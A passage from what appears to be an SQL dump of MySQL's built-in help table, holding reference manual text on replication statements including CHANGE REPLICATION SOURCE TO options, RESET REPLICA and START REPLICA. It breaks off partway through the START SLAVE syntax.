connection-failover.html.\n\n 4. From MySQL 8.0.27, when you set SOURCE_CONNECTION_AUTO_FAILOVER =\n 1, asynchronous connection failover for replicas is automatically\n activated if this replication channel is on a Group Replication\n primary in a group in single-primary mode. With this function\n active, if the primary that is replicating goes offline or into\n an error state, the new primary starts replication on the same\n channel when it is elected. If you want to use the function, this\n replication channel must also be set up on all the secondary\n servers in the replication group, and on any new joining members.\n (If the servers are provisioned using MySQL\'s clone\n functionality, this all happens automatically.) If you do not\n want to use the function, disable it by using the\n group_replication_disable_member_action() function to disable the\n Group Replication member action\n mysql_start_failover_channels_if_primary, which is enabled by\n default. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-asynchronous-\n connection-failover-replica.html.\n\no SOURCE_DELAY = interval\n\n Specifies how many seconds behind the source the replica must lag. An\n event received from the source is not executed until at least\n interval seconds later than its execution on the source. interval\n must be a nonnegative integer in the range from 0 to 231−1. The\n default is 0. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-delayed.html.\n\n A CHANGE REPLICATION SOURCE TO statement using the SOURCE_DELAY\n option can be executed on a running replica when the replication SQL\n thread is stopped.\n\no SOURCE_HEARTBEAT_PERIOD = interval\n\n Controls the heartbeat interval, which stops the connection timeout\n occurring in the absence of data if the connection is still good. A\n heartbeat signal is sent to the replica after that number of seconds,\n and the waiting period is reset whenever the source\'s binary log is\n updated with an event. Heartbeats are therefore sent by the source\n only if there are no unsent events in the binary log file for a\n period longer than this.\n\n The heartbeat interval interval is a decimal value having the range 0\n to 4294967 seconds and a resolution in milliseconds; the smallest\n nonzero value is 0.001. Setting interval to 0 disables heartbeats\n altogether. The heartbeat interval defaults to half the value of the\n replica_net_timeout or slave_net_timeout system variable. It is\n recorded in the source metadata repository and shown in the\n replication_connection_configuration Performance Schema table.\n\n The system variable replica_net_timeout (from MySQL 8.0.26) or\n slave_net_timeout (before MySQL 8.0.26) specifies the number of\n seconds that the replica waits for either more data or a heartbeat\n signal from the source, before the replica considers the connection\n broken, aborts the read, and tries to reconnect. The default value is\n 60 seconds (one minute). Note that a change to the value or default\n setting of replica_net_timeout or slave_net_timeout does not\n automatically change the heartbeat interval, whether that has been\n set explicitly or is using a previously calculated default. A warning\n is issued if you set the global value of replica_net_timeout or\n slave_net_timeout to a value less than that of the current heartbeat\n interval. If replica_net_timeout or slave_net_timeout is changed, you\n must also issue CHANGE REPLICATION SOURCE TO to adjust the heartbeat\n interval to an appropriate value so that the heartbeat signal occurs\n before the connection timeout. If you do not do this, the heartbeat\n signal has no effect, and if no data is received from the source, the\n replica can make repeated reconnection attempts, creating zombie dump\n threads.\n\no SOURCE_HOST = \'host_name\'\n\n The host name or IP address of the replication source server. The\n replica uses this to connect to the source. The maximum length of the\n string value is 255 characters.\n\n If you specify SOURCE_HOST or SOURCE_PORT, the replica assumes that\n the source server is different from before (even if the option value\n is the same as its current value.) In this case, the old values for\n the source\'s binary log file name and position are considered no\n longer applicable, so if you do not specify SOURCE_LOG_FILE and\n SOURCE_LOG_POS in the statement, SOURCE_LOG_FILE=\'\' and\n SOURCE_LOG_POS=4 are silently appended to it.\n\n Setting SOURCE_HOST=\'\' (that is, setting its value explicitly to an\n empty string) is not the same as not setting SOURCE_HOST at all.\n Trying to set SOURCE_HOST to an empty string fails with an error.\n\no SOURCE_LOG_FILE = \'source_log_name\', SOURCE_LOG_POS = source_log_pos\n\n The binary log file name, and the location in that file, at which the\n replication I/O (receiver) thread begins reading from the source\'s\n binary log the next time the thread starts. Specify these options if\n you are using binary log file position based replication.\n\n SOURCE_LOG_FILE must include the numeric suffix of a specific binary\n log file that is available on the source server, for example,\n SOURCE_LOG_FILE=\'binlog.000145\'. The maximum length of the string\n value is 511 characters.\n\n SOURCE_LOG_POS is the numeric position for the replica to start\n reading in that file. SOURCE_LOG_POS=4 represents the start of the\n events in a binary log file.\n\n If you specify either of SOURCE_LOG_FILE or SOURCE_LOG_POS, you\n cannot specify SOURCE_AUTO_POSITION = 1, which is for GTID-based\n replication.\n\n If neither of SOURCE_LOG_FILE or SOURCE_LOG_POS is specified, the\n replica uses the last coordinates of the replication SQL thread\n before CHANGE REPLICATION SOURCE TO was issued. This ensures that\n there is no discontinuity in replication, even if the replication SQL\n (applier) thread was late compared to the replication I/O (receiver)\n thread.\n\no SOURCE_PASSWORD = \'password\'\n\n The password for the replication user account to use for connecting\n to the replication source server. The maximum length of the string\n value is 32 characters. If you specify SOURCE_PASSWORD, SOURCE_USER\n is also required.\n\n The password used for a replication user account in a CHANGE\n REPLICATION SOURCE TO statement is limited to 32 characters in\n length. Trying to use a password of more than 32 characters causes\n CHANGE REPLICATION SOURCE TO to fail.\n\n The password is masked in MySQL Server\'s logs, Performance Schema\n tables, and SHOW PROCESSLIST statements.\n\no SOURCE_PORT = port_num\n\n The TCP/IP port number that the replica uses to connect to the\n replication source server.\n\n *Note*:\n\n Replication cannot use Unix socket files. You must be able to connect\n to the replication source server using TCP/IP.\n\n If you specify SOURCE_HOST or SOURCE_PORT, the replica assumes that\n the source server is different from before (even if the option value\n is the same as its current value.) In this case, the old values for\n the source\'s binary log file name and position are considered no\n longer applicable, so if you do not specify SOURCE_LOG_FILE and\n SOURCE_LOG_POS in the statement, SOURCE_LOG_FILE=\'\' and\n SOURCE_LOG_POS=4 are silently appended to it.\n\no SOURCE_PUBLIC_KEY_PATH = \'key_file_name\'\n\n Enables RSA key pair-based password exchange by providing the path\n name to a file containing a replica-side copy of the public key\n required by the source. The file must be in PEM format. The maximum\n length of the string value is 511 characters.\n\n This option applies to replicas that authenticate with the\n sha256_password or caching_sha2_password authentication plugin. (For\n sha256_password, SOURCE_PUBLIC_KEY_PATH can be used only if MySQL was\n built using OpenSSL.) If you are using a replication user account\n that authenticates with the caching_sha2_password plugin (which is\n the default from MySQL 8.0), and you are not using a secure\n connection, you must specify either this option or the\n GET_SOURCE_PUBLIC_KEY=1 option to provide the RSA public key to the\n replica.\n\no SOURCE_RETRY_COUNT = count\n\n Sets the maximum number of reconnection attempts that the replica\n makes after the connection to the source times out, as determined by\n the replica_net_timeout or slave_net_timeout system variable. If the\n replica does need to reconnect, the first retry occurs immediately\n after the timeout. The default is 86400 attempts.\n\n The interval between the attempts is specified by the\n SOURCE_CONNECT_RETRY option. If both the default settings are used,\n the replica waits 60 seconds between reconnection attempts\n (SOURCE_CONNECT_RETRY=60), and keeps attempting to reconnect at this\n rate for 60 days (SOURCE_RETRY_COUNT=86400). A setting of 0 for\n SOURCE_RETRY_COUNT means that there is no limit on the number of\n reconnection attempts, so the replica keeps trying to reconnect\n indefinitely.\n\n The values for SOURCE_CONNECT_RETRY and SOURCE_RETRY_COUNT are\n recorded in the source metadata repository and shown in the\n replication_connection_configuration Performance Schema table.\n SOURCE_RETRY_COUNT supersedes the --master-retry-count server startup\n option.\n\no SOURCE_SSL = {0|1}\n\n Specify whether the replica encrypts the replication connection. The\n default is 0, meaning that the replica does not encrypt the\n replication connection. If you set SOURCE_SSL=1, you can configure\n the encryption using the SOURCE_SSL_xxx and SOURCE_TLS_xxx options.\n\n Setting SOURCE_SSL=1 for a replication connection and then setting no\n further SOURCE_SSL_xxx options corresponds to setting\n --ssl-mode=REQUIRED for the client, as described in\n https://dev.mysql.com/doc/refman/8.0/en/connection-options.html#encry\n pted-connection-options. With SOURCE_SSL=1, the connection attempt\n only succeeds if an encrypted connection can be established. A\n replication connection does not fall back to an unencrypted\n connection, so there is no setting corresponding to the\n --ssl-mode=PREFERRED setting for replication. If SOURCE_SSL=0 is set,\n this corresponds to --ssl-mode=DISABLED.\n\n *Important*:\n\n To help prevent sophisticated man-in-the-middle attacks, it is\n important for the replica to verify the server\'s identity. You can\n specify additional SOURCE_SSL_xxx options to correspond to the\n settings --ssl-mode=VERIFY_CA and --ssl-mode=VERIFY_IDENTITY, which\n are a better choice than the default setting to help prevent this\n type of attack. With these settings, the replica checks that the\n server\'s certificate is valid, and checks that the host name the\n replica is using matches the identity in the server\'s certificate. To\n implement one of these levels of verification, you must first ensure\n that the CA certificate for the server is reliably available to the\n replica, otherwise availability issues will result. For this reason,\n they are not the default setting.\n\no SOURCE_SSL_xxx, SOURCE_TLS_xxx\n\n Specify how the replica uses encryption and ciphers to secure the\n replication connection. These options can be changed even on replicas\n that are compiled without SSL support. They are saved to the source\n metadata repository, but are ignored if the replica does not have SSL\n support enabled. The maximum length of the value for the\n string-valued SOURCE_SSL_xxx and SOURCE_TLS_xxx options is 511\n characters, with the exception of SOURCE_TLS_CIPHERSUITES, for which\n it is 4000 characters.\n\n The SOURCE_SSL_xxx and SOURCE_TLS_xxx options perform the same\n functions as the --ssl-xxx and --tls-xxx client options described in\n https://dev.mysql.com/doc/refman/8.0/en/connection-options.html#encry\n pted-connection-options. The correspondence between the two sets of\n options, and the use of the SOURCE_SSL_xxx and SOURCE_TLS_xxx options\n to set up a secure connection, is explained in\n https://dev.mysql.com/doc/refman/8.0/en/replication-encrypted-connect\n ions.html.\n\no SOURCE_USER = \'user_name\'\n\n The user name for the replication user account to use for connecting\n to the replication source server. The maximum length of the string\n value is 96 characters.\n\n For Group Replication, this account must exist on every member of the\n replication group. It is used for distributed recovery if the XCom\n communication stack is in use for the group, and also used for group\n communication connections if the MySQL communication stack is in use\n for the group. With the MySQL communication stack, the account must\n have the GROUP_REPLICATION_STREAM permission.\n\n It is possible to set an empty user name by specifying\n SOURCE_USER=\'\', but the replication channel cannot be started with an\n empty user name. In releases before MySQL 8.0.21, only set an empty\n SOURCE_USER user name if you need to clear previously used\n credentials from the replication metadata repositories for security\n purposes. Do not use the channel afterwards, due to a bug in these\n releases that can substitute a default user name if an empty user\n name is read from the repositories (for example, during an automatic\n restart of a Group Replication channel). From MySQL 8.0.21, it is\n valid to set an empty SOURCE_USER user name and use the channel\n afterwards if you always provide user credentials using the START\n REPLICA statement or START GROUP_REPLICATION statement that starts\n the replication channel. This approach means that the replication\n channel always needs operator intervention to restart, but the user\n credentials are not recorded in the replication metadata\n repositories.\n\n *Important*:\n\n To connect to the source using a replication user account that\n authenticates with the caching_sha2_password plugin, you must either\n set up a secure connection as described in\n https://dev.mysql.com/doc/refman/8.0/en/replication-encrypted-connect\n ions.html, or enable the unencrypted connection to support password\n exchange using an RSA key pair. The caching_sha2_password\n authentication plugin is the default for new users created from MySQL\n 8.0 (see\n https://dev.mysql.com/doc/refman/8.0/en/caching-sha2-pluggable-authen\n tication.html). If the user account that you create or use for\n replication uses this authentication plugin, and you are not using a\n secure connection, you must enable RSA key pair-based password\n exchange for a successful connection. You can do this using either\n the SOURCE_PUBLIC_KEY_PATH option or the GET_SOURCE_PUBLIC_KEY=1\n option for this statement.\n\no SOURCE_ZSTD_COMPRESSION_LEVEL = level\n\n The compression level to use for connections to the replication\n source server that use the zstd compression algorithm.\n SOURCE_ZSTD_COMPRESSION_LEVEL is available as of MySQL 8.0.18. The\n permitted levels are from 1 to 22, with larger values indicating\n increasing levels of compression. The default level is 3.\n\n The compression level setting has no effect on connections that do\n not use zstd compression. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/connection-compression-contro\n l.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/change-replication-source-to.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/change-replication-source-to.html'),(582,'RESET REPLICA',43,'Syntax:\nRESET REPLICA [ALL] [channel_option]\n\nchannel_option:\n FOR CHANNEL channel\n\nRESET REPLICA makes the replica forget its position in the source\'s\nbinary log. From MySQL 8.0.22, use RESET REPLICA in place of RESET\nSLAVE, which is deprecated from that release. In releases before MySQL\n8.0.22, use RESET SLAVE.\n\nThis statement is meant to be used for a clean start; it clears the\nreplication metadata repositories, deletes all the relay log files, and\nstarts a new relay log file. It also resets to 0 the replication delay\nspecified with the SOURCE_DELAY | MASTER_DELAY option of the CHANGE\nREPLICATION SOURCE TO statement (from MySQL 8.0.23) or CHANGE MASTER TO\nstatement (before MySQL 8.0.23).\n\n*Note*:\n\nAll relay log files are deleted, even if they have not been completely\nexecuted by the replication SQL thread. (This is a condition likely to\nexist on a replica if you have issued a STOP REPLICA statement or if\nthe replica is highly loaded.)\n\nFor a server where GTIDs are in use (gtid_mode is ON), issuing RESET\nREPLICA has no effect on the GTID execution history. The statement does\nnot change the values of gtid_executed or gtid_purged, or the\nmysql.gtid_executed table. If you need to reset the GTID execution\nhistory, use RESET MASTER, even if the GTID-enabled server is a replica\nwhere binary logging is disabled.\n\nRESET REPLICA requires the RELOAD privilege.\n\nTo use RESET REPLICA, the replication SQL thread and replication I/O\n(receiver) thread must be stopped, so on a running replica use STOP\nREPLICA before issuing RESET REPLICA. To use RESET REPLICA on a Group\nReplication group member, the member status must be OFFLINE, meaning\nthat the plugin is loaded but the member does not currently belong to\nany group. A group member can be taken offline by using a STOP GROUP\nREPLICATION statement.\n\nThe optional FOR CHANNEL channel clause enables you to name which\nreplication channel the statement applies to. Providing a FOR CHANNEL\nchannel clause applies the RESET REPLICA statement to a specific\nreplication channel. Combining a FOR CHANNEL channel clause with the\nALL option deletes the specified channel. If no channel is named and no\nextra channels exist, the statement applies to the default channel.\nIssuing a RESET REPLICA ALL statement without a FOR CHANNEL channel\nclause when multiple replication channels exist deletes all replication\nchannels and recreates only the default channel. See\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-channels.html for\nmore information.\n\nRESET REPLICA does not change any replication connection parameters,\nwhich include the source\'s host name and port, the replication user\naccount and its password, the PRIVILEGE_CHECKS_USER account, the\nREQUIRE_ROW_FORMAT option, the REQUIRE_TABLE_PRIMARY_KEY_CHECK\noption,and the ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS option. If you\nwant to change any of the replication connection parameters, you can do\nthis using a CHANGE REPLICATION SOURCE TO statement (from MySQL 8.0.23)\nor CHANGE MASTER TO statement (before MySQL 8.0.23) after the server\nstart. If you want to remove all of the replication connection\nparameters, use RESET REPLICA ALL. RESET REPLICA ALL also clears the\nIGNORE_SERVER_IDS list set by CHANGE REPLICATION SOURCE TO | CHANGE\nMASTER TO. When you have used RESET REPLICA ALL, if you want to use the\ninstance as a replica again, you need to issue a CHANGE REPLICATION\nSOURCE TO | CHANGE MASTER TO statement after the server start to\nspecify new connection parameters.\n\nFrom MySQL 8.0.27, you can set the GTID_ONLY option on the CHANGE\nREPLICATION SOURCE TO statement to stop a replication channel from\npersisting file names and file positions in the replication metadata\nrepositories. When you issue a RESET REPLICA statement, the replication\nmetadata repositories are synchronized. RESET REPLICA ALL deletes\nrather than updates the repositories, so they are synchronized\nimplicitly.\n\nIn the event of an unexpected server exit or deliberate restart after\nissuing RESET REPLICA but before issuing START REPLICA, retention of\nthe replication connection parameters depends on the repository used\nfor the replication metadata:\n\no When master_info_repository=TABLE and relay_log_info_repository=TABLE\n are set on the server (which are the default settings from MySQL\n 8.0), replication connection parameters are preserved in the\n crash-safe InnoDB tables mysql.slave_master_info and\n mysql.slave_relay_log_info as part of the RESET REPLICA operation.\n They are also retained in memory. In the event of an unexpected\n server exit or deliberate restart after issuing RESET REPLICA but\n before issuing START REPLICA, the replication connection parameters\n are retrieved from the tables and reapplied to the channel. This\n situation applies from MySQL 8.0.13 for the connection metadata\n repository, and from MySQL 8.0.19 for the applier metadata\n repository.\n\no If master_info_repository=FILE and relay_log_info_repository=FILE are\n set on the server, which is deprecated from MySQL 8.0, or the MySQL\n Server release is earlier than those specified above, replication\n connection parameters are only retained in memory. If the replica\n mysqld is restarted immediately after issuing RESET REPLICA due to an\n unexpected server exit or deliberate restart, the connection\n parameters are lost. In that case, you must issue a CHANGE\n REPLICATION SOURCE TO statement (from MySQL 8.0.23) or CHANGE MASTER\n TO statement (before MySQL 8.0.23) after the server start to\n respecify the connection parameters before issuing START REPLICA.\n\nRESET REPLICA does not change any replication filter settings (such as\n--replicate-ignore-table) for channels affected by the statement.\nHowever, RESET REPLICA ALL removes the replication filters that were\nset on the channels deleted by the statement. When the deleted channel\nor channels are recreated, any global replication filters specified for\nthe replica are copied to them, and no channel specific replication\nfilters are applied. For more information see\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-rules-channel-based\n-filters.html.\n\nRESET REPLICA causes an implicit commit of an ongoing transaction. See\nhttps://dev.mysql.com/doc/refman/8.0/en/implicit-commit.html.\n\nIf the replication SQL thread was in the middle of replicating\ntemporary tables when it was stopped, and RESET REPLICA is issued,\nthese replicated temporary tables are deleted on the replica.\n\n*Note*:\n\nWhen used on an NDB Cluster replica SQL node, RESET REPLICA clears the\nmysql.ndb_apply_status table. You should keep in mind when using this\nstatement that ndb_apply_status uses the NDB storage engine and so is\nshared by all SQL nodes attached to the cluster.\n\nYou can override this behavior by issuing SET GLOBAL\n@@ndb_clear_apply_status=OFF prior to executing RESET REPLICA, which\nkeeps the replica from purging the ndb_apply_status table in such\ncases.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/reset-replica.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/reset-replica.html'),(583,'RESET SLAVE',43,'Syntax:\nRESET {SLAVE | REPLICA} [ALL] [channel_option]\n\nchannel_option:\n FOR CHANNEL channel\n\nMakes the replica forget its position in the source\'s binary log. From\nMySQL 8.0.22, RESET SLAVE is deprecated and the alias RESET REPLICA\nshould be used instead. In releases before MySQL 8.0.22, use RESET\nSLAVE. The statement works in the same way as before, only the\nterminology used for the statement and its output has changed. Both\nversions of the statement update the same status variables when used.\nPlease see the documentation for RESET REPLICA for a description of the\nstatement.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/reset-slave.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/reset-slave.html'),(584,'START REPLICA',43,'Syntax:\nSTART REPLICA [thread_types] [until_option] [connection_options] [channel_option]\n\nthread_types:\n [thread_type [, thread_type] ... ]\n\nthread_type:\n IO_THREAD | SQL_THREAD\n\nuntil_option:\n UNTIL { {SQL_BEFORE_GTIDS | SQL_AFTER_GTIDS} = gtid_set\n | MASTER_LOG_FILE = \'log_name\', MASTER_LOG_POS = log_pos\n | SOURCE_LOG_FILE = \'log_name\', SOURCE_LOG_POS = log_pos\n | RELAY_LOG_FILE = \'log_name\', RELAY_LOG_POS = log_pos\n | SQL_AFTER_MTS_GAPS }\n\nconnection_options:\n [USER=\'user_name\'] [PASSWORD=\'user_pass\'] [DEFAULT_AUTH=\'plugin_name\'] [PLUGIN_DIR=\'plugin_dir\']\n\n\nchannel_option:\n FOR CHANNEL channel\n\ngtid_set:\n uuid_set [, uuid_set] ...\n | \'\'\n\nuuid_set:\n uuid:interval[:interval]...\n\nuuid:\n hhhhhhhh-hhhh-hhhh-hhhh-hhhhhhhhhhhh\n\nh:\n [0-9,A-F]\n\ninterval:\n n[-n]\n\n (n >= 1)\n\nSTART REPLICA starts the replication threads, either together or\nseparately. From MySQL 8.0.22, use START REPLICA in place of START\nSLAVE, which is deprecated from that release. In releases before MySQL\n8.0.22, use START SLAVE.\n\nSTART REPLICA requires the REPLICATION_SLAVE_ADMIN privilege (or the\ndeprecated SUPER privilege). START REPLICA causes an implicit commit of\nan ongoing transaction. See\nhttps://dev.mysql.com/doc/refman/8.0/en/implicit-commit.html.\n\nFor the thread type options, you can specify IO_THREAD, SQL_THREAD,\nboth of these, or neither of them. Only the threads that are started\nare affected by the statement.\n\no START REPLICA with no thread type options starts all of the\n replication threads, and so does START REPLICA with both of the\n thread type options.\n\no IO_THREAD starts the replication receiver thread, which reads events\n from the source server and stores them in the relay log.\n\no SQL_THREAD starts the replication applier thread, which reads events\n from the relay log and executes them. A multithreaded replica (with\n replica_parallel_workers or slave_parallel_workers > 0) applies\n transactions using a coordinator thread and multiple applier threads,\n and SQL_THREAD starts all of these.\n\n*Important*:\n\nSTART REPLICA sends an acknowledgment to the user after all the\nreplication threads have started. However, the replication receiver\nthread might not yet have connected to the source successfully, or an\napplier thread might stop when applying an event right after starting.\nSTART REPLICA does not continue to monitor the threads after they are\nstarted, so it does not warn you if they subsequently stop or cannot\nconnect. You must check the replica\'s error log for error messages\ngenerated by the replication threads, or check that they are running\nsatisfactorily with SHOW REPLICA STATUS. A successful START REPLICA\nstatement causes SHOW REPLICA STATUS to show Replica_SQL_Running=Yes,\nbut it might or might not show Replica_IO_Running=Yes, because\nReplica_IO_Running=Yes is only shown if the receiver thread is both\nrunning and connected. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-administration-stat\nus.html.\n\nThe optional FOR CHANNEL channel clause enables you to name which\nreplication channel the statement applies to. Providing a FOR CHANNEL\nchannel clause applies the START REPLICA statement to a specific\nreplication channel. If no clause is named and no extra channels exist,\nthe statement applies to the default channel. If a START REPLICA\nstatement does not have a channel defined when using multiple channels,\nthis statement starts the specified threads for all channels. See\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-channels.html for\nmore information.\n\nThe replication channels for Group Replication\n(group_replication_applier and group_replication_recovery) are managed\nautomatically by the server instance. START REPLICA cannot be used at\nall with the group_replication_recovery channel, and should only be\nused with the group_replication_applier channel when Group Replication\nis not running. The group_replication_applier channel only has an\napplier thread and has no receiver thread, so it can be started if\nrequired by using the SQL_THREAD option without the IO_THREAD option.\n\nSTART REPLICA supports pluggable user-password authentication (see\nhttps://dev.mysql.com/doc/refman/8.0/en/pluggable-authentication.html)\nwith the USER, PASSWORD, DEFAULT_AUTH and PLUGIN_DIR options, as\ndescribed in the following list. When you use these options, you must\nstart the receiver thread (IO_THREAD option) or all the replication\nthreads; you cannot start the replication applier thread (SQL_THREAD\noption) alone.\n\no USER\n\n The user name for the account. You must set this if PASSWORD is used.\n The option cannot be set to an empty or null string.\n\no PASSWORD\n\n The password for the named user account.\n\no DEFAULT_AUTH\n\n The name of the authentication plugin. The default is MySQL native\n authentication.\n\no PLUGIN_DIR\n\n The location of the authentication plugin.\n\n*Important*:\n\nThe password that you set using START REPLICA is masked when it is\nwritten to MySQL Server\'s logs, Performance Schema tables, and SHOW\nPROCESSLIST statements. However, it is sent in plain text over the\nconnection to the replica server instance. To protect the password in\ntransit, use SSL/TLS encryption, an SSH tunnel, or another method of\nprotecting the connection from unauthorized viewing, for the connection\nbetween the replica server instance and the client that you use to\nissue START REPLICA.\n\nThe UNTIL clause makes the replica start replication, then process\ntransactions up to the point that you specify in the UNTIL clause, then\nstop again. The UNTIL clause can be used to make a replica proceed\nuntil just before the point where you want to skip a transaction that\nis unwanted, and then skip the transaction as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-administration-skip\n.html. To identify a transaction, you can use mysqlbinlog with the\nsource\'s binary log or the replica\'s relay log, or use a SHOW BINLOG\nEVENTS statement.\n\nYou can also use the UNTIL clause for debugging replication by\nprocessing transactions one at a time or in sections. If you are using\nthe UNTIL clause to do this, start the replica with the\n--skip-slave-start option, or from MySQL 8.0.24, the skip_slave_start\nsystem variable, to prevent the SQL thread from running when the\nreplica server starts. Remove the option or system variable setting\nafter the procedure is complete, so that it is not forgotten in the\nevent of an unexpected server restart.\n\nThe SHOW REPLICA STATUS statement includes output fields that display\nthe current values of the UNTIL condition. The UNTIL condition lasts\nfor as long as the affected threads are still running, and is removed\nwhen they stop.\n\nThe UNTIL clause operates on the replication applier thread (SQL_THREAD\noption). You can use the SQL_THREAD option or let the replica default\nto starting both threads. If you use the IO_THREAD option alone, the\nUNTIL clause is ignored because the applier thread is not started.\n\nThe point that you specify in the UNTIL clause can be any one (and only\none) of the following options:\n\no SOURCE_LOG_FILE and SOURCE_LOG_POS (from MySQL 8.0.23), or\n MASTER_LOG_FILE and MASTER_LOG_POS (to MySQL 8.0.22)\n\n These options make the replication applier process transactions up to\n a position in its relay log, identified by the file name and file\n position of the corresponding point in the binary log on the source\n server. The applier thread finds the nearest transaction boundary at\n or after the specified position, finishes applying the transaction,\n and stops there. For compressed transaction payloads, specify the end\n position of the compressed Transaction_payload_event.\n\n These options can still be used when the GTID_ONLY option was set on\n the CHANGE REPLICATION SOURCE TO statement to stop the replication\n channel from persisting file names and file positions in the\n replication metadata repositories. The file names and file positions\n are tracked in memory.\n\no RELAY_LOG_FILE and RELAY_LOG_POS\n\n These options make the replication applier process transactions up to\n a position in the replica\'s relay log, identified by the relay log\n file name and a position in that file. The applier thread finds the\n nearest transaction boundary at or after the specified position,\n finishes applying the transaction, and stops there. For compressed\n transaction payloads, specify the end position of the compressed\n Transaction_payload_event.\n\n These options can still be used when the GTID_ONLY option was set on\n the CHANGE REPLICATION SOURCE TO statement to stop the replication\n channel from persisting file names and file positions in the\n replication metadata repositories. The file names and file positions\n are tracked in memory.\n\no SQL_BEFORE_GTIDS\n\n This option makes the replication applier start processing\n transactions and stop when it encounters any transaction that is in\n the specified GTID set. The encountered transaction from the GTID set\n is not applied, and nor are any of the other transactions in the GTID\n set. The option takes a GTID set containing one or more global\n transaction identifiers as an argument (see\n https://dev.mysql.com/doc/refman/8.0/en/replication-gtids-concepts.ht\n ml#replication-gtids-concepts-gtid-sets). Transactions in a GTID set\n do not necessarily appear in the replication stream in the order of\n their GTIDs, so the transaction before which the applier stops is not\n necessarily the earliest.\n\no SQL_AFTER_GTIDS\n\n This option makes the replication applier start processing\n transactions and stop when it has processed all of the transactions\n in a specified GTID set. The option takes a GTID set containing one\n or more global transaction identifiers as an argument (see\n https://dev.mysql.com/doc/refman/8.0/en/replication-gtids-concepts.ht\n ml#replication-gtids-concepts-gtid-sets).\n\n With SQL_AFTER_GTIDS, the replication threads stop after they have\n processed all transactions in the GTID set. Transactions are\n processed in the order received, so it is possible that these include\n transactions which are not part of the GTID set, but which are\n received (and processed) before all transactions in the set have been\n committed. For example, executing START REPLICA UNTIL SQL_AFTER_GTIDS\n = 3E11FA47-71CA-11E1-9E33-C80AA9429562:11-56 causes the replica to\n obtain (and process) all transactions from the source until all of\n the transactions having the sequence numbers 11 through 56 have been\n processed, and then to stop without processing any additional\n transactions after that point has been reached.\n\n SQL_AFTER_GTIDS is not compatible with the multi-threaded applier. If\n this option is used with the multi-threaded applier, a warning is\n raised, and the replica switches to single-threaded mode. Depending\n on the use case, it may be possible to to use START REPLICA UNTIL\n MASTER_LOG_POS or START REPLICA UNTIL SQL_BEFORE_GTIDS. You can also\n use WAIT_UNTIL_SQL_THREAD_AFTER_GTIDS(), which waits until the\n correct position is reached, but does not stop the applier thread.\n\no SQL_AFTER_MTS_GAPS\n\n For a multithreaded replica only (with replica_parallel_workers or\n slave_parallel_workers > 0), this option makes the replica process\n transactions up to the point where there are no more gaps in the\n sequence of transactions executed from the relay log. When using a\n multithreaded replica, there is a chance of gaps occurring in the\n following situations:\n\n o The coordinator thread is stopped.\n\n o An error occurs in the applier threads.\n\n o mysqld shuts down unexpectedly.\n\n When a replication channel has gaps, the replica\'s database is in a\n state that might never have existed on the source. The replica tracks\n the gaps internally and disallows CHANGE REPLICATION SOURCE TO\n statements that would remove the gap information if they executed.\n\n Before MySQL 8.0.26, issuing START REPLICA on a multithreaded replica\n with gaps in the sequence of transactions executed from the relay log\n generates a warning. To correct this situation, the solution is to\n use START REPLICA UNTIL SQL_AFTER_MTS_GAPS. See\n https://dev.mysql.com/doc/refman/8.0/en/replication-features-transact\n ion-inconsistencies.html for more information.\n\n From MySQL 8.0.26, the process of checking for gaps in the sequence\n of transactions is skipped entirely when GTID-based replication and\n GTID auto-positioning (SOURCE_AUTO_POSITION=1) are in use for the\n channel, because gaps in transactions can be resolved using GTID\n auto-positioning. In that situation, START REPLICA UNTIL\n SQL_AFTER_MTS_GAPS just stops the applier thread when it finds the\n first transaction to execute, and does not attempt to check for gaps\n in the sequence of transactions. You can also continue to use CHANGE\n REPLICATION SOURCE TO statements as normal, and relay log recovery is\n possible for the channel.\n\n From MySQL 8.0.27, all replicas are multithreaded by default. When\n replica_preserve_commit_order=ON or slave_preserve_commit_order=ON is\n set for the replica, which is also the default setting from MySQL\n 8.0.27, gaps should not occur except in the specific situations\n listed in the description for replica_preserve_commit_order and\n slave_preserve_commit_order. If replica_preserve_commit_order=OFF or\n slave_preserve_commit_order=OFF is set for the replica, which is the\n default before MySQL 8.0.27, the commit order of transactions is not\n preserved, so the chance of gaps occurring is much larger.\n\n If GTIDs are not in use and you need to change a failed multithreaded\n replica to single-threaded mode, you can issue the following series\n of statements, in the order shown:\n\nSTART SLAVE UNTIL SQL_AFTER_MTS_GAPS;\nSET @@GLOBAL.slave_parallel_workers = 0;\nSTART SLAVE SQL_THREAD;\n\nOr from MySQL 8.0.26:\nSTART REPLICA UNTIL SQL_AFTER_MTS_GAPS;\nSET @@GLOBAL.replica_parallel_workers = 0;\nSTART REPLICA SQL_THREAD;\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/start-replica.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/start-replica.html'),(585,'START SLAVE',43,'Syntax:\nSTART {SLAVE | REPLICA} [thread_types] [until_option] [connection_options] [channel_option]\n\nthread_types:\n [thread_type [, thread_type] ... ]\n\nthread_type:\n IO_THREAD | SQL_THREAD\n\nuntil_option:\n UNTIL { {SQL_BEFORE_GTIDS | SQL_AFTER_GTIDS} = gtid_set\n | MASTER_LOG_FILE = \'log_name\', MASTER_LOG_POS = log_pos\n | SOURCE_LOG_FILE = \'log_name\', SOURCE_LOG_POS = log_pos\n | RELAY_LOG_FILE = \'log_name\', RELAY_LOG_POS = log_pos\n | SQL_AFTER_MTS_GAPS }\n\nconnection_options:\n [USER=\'user_name\'] [PASSWORD=\'user_pass\'] [DEFAULT_AUTH=\'plugin_name\'] [PLUGIN_DIR=\'plugin_dir\']\n\n\nchannel_option:\n FOR CHANNEL channel\n\ngtid_set:\n uuid_set [, uuid_set] ...\n | \'\'\n\nuuid_set:\n uuid:interval[:interval]...\n\nuuid:\n hhhhhhhh-hhhh-hhhh-hhhh-hhhhhhhhhhhh\n\nh:\n 